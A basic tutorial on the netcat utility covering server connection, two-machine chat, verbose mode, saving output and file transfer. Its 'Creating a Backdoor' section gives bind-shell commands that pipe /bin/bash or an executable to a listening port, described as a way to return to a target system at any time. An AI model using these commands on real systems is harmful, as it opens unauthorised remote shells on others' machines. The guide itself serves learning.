Basic Guide Of Netcat

First of all you need to know what is netcat?

Netcat or nc is a utility tool that uses TCP and UDP connections to read and write in a network. It can be used for both attacking and security. In the case of attacking.It helps us to debug the network along with investing it.It runs on all operating systems.

Getting start with NC

To start NC, the most basic option we can use the help command. This will show us all the options that we can use with Netcat. The help command is the following one: nc -h

Connecting to a Server

Here, we have connected FTP Server with the IP Address 192.168.1.6. To connect to the server at a specific port where a particular service running. In our case, the port is 21 i.e. FTP.

Syntax: nc [Target IP Address] [Target Port]

nc 192.168.17.43 21

Chatting

Netcat can also be used to chat between two users. We need to establish a connection before chatting. To do this we are going to need two devices. One will play the role of initiator and one will be a listener to start the conversation and so once the connection is established, communication can be done from both ends.First of all we will use windows 10 machine which will play role of Listener.Second we will use Kali linux machine which will play role of initiator. First, we will have to create a listener. We will use the following command to create a listener:

nc -lvvp 4444

where,

[-l]: Listen Mode

[vv]: Verbose Mode {It can be used once, but we use twice to be more verbose}

[p]: Local Port

ow, it’s time to create an initiator, for this we will just provide the IP Address of the System where we started the Listener followed by the port number.

NOTE: Use the same port to create an initiator which was used in creating listener.

nc 192.168.1.35 4444

Creating a Backdoor

We can also create a backdoor using NC. To create a backdoor on the target system that we can come back to at any time. Command for attacking a Linux System.

nc -l -p 2222 -e /bin/bash

For Creating Backdoor for windows system.

nc -l -p 1337 -e hack.exe

This will open a listener on the system that will pipe the command shell or the Linux bash shell to the connecting system.

nc 192.168.1.35 2222

Verbose Mode

In netcat, Verbose is a mode which can be initiated using [-v] parameter. Now verbose mode generates extended information. Basically, we will connect to a server using netcat two times to see the difference between normal and verbose mode.

The command is nc 192.168.17.43 21 -v

Save Output to Desktop

For the purpose of the record maintenance, better readability and future references, we will save the output of the Netcat. To do this we will use the parameter -o of the Netcat to save the output in the text file.

nc 192.168.17.43 21 -v -o /root/Desktop/Result.txt

File Transfer

Netcat can be used to transfer the file across devices. Here we will create a scenario where we will transfer a file from a windows system to Kali Linux system. To send the file from the Windows, we will use the following command.

nc -v -w 20 -p 8888 -l < C:\netcat\file.txt

Now we will have to receive the file shared on Kali Linux. Here we will provide netcat with the Windows IP Address and the port which hosts the file. And write the output inside a text file. For doing this we will use the following command:

nc -v -w 2 192.168.1.35 8888 > file.txt

So, this was a basic guide to netcat. It’s quite an interesting tool to use as well as it is pretty easy.